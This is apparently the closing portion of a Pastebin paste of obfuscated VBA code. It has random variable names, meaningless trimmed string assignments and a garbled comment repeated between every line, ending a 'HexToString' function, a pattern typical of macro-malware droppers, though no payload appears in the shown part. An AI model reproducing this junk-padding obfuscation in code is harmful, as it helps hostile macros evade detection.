  1467. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1468. wGHfbRSC = RTrim(uBQPlKng)
  1469. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1470.  
  1471. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1472. hMzFdiiX = RTrim(lMJZKrPW)
  1473. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1474.  
  1475. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1476. Dim ZUfzmsqk As Integer
  1477. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1478. For ZUfzmsqk = 0 To 1
  1479. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1480. Dim DokaybRB, BgrrUdIp, smHuoaQm As String
  1481. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1482. DokaybRB = "           KHCPJG               "
  1483. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1484. BgrrUdIp = LTrim(DokaybRB)
  1485. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1486. smHuoaQm = RTrim(BgrrUdIp)
  1487. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1488.  
  1489. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1490. DoEvents
  1491. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1492. Next ZUfzmsqk
  1493. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1494. Dim wvwqyNjl, kbTcnrFl, dbHOWosm As String
  1495. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1496. wvwqyNjl = "           JNDPWM               "
  1497. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1498. kbTcnrFl = LTrim(wvwqyNjl)
  1499. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1500. dbHOWosm = RTrim(kbTcnrFl)
  1501. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1502.  
  1503. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1504. HexToString = tSYUgjyTUeojMcv
  1505. 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
  1506. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top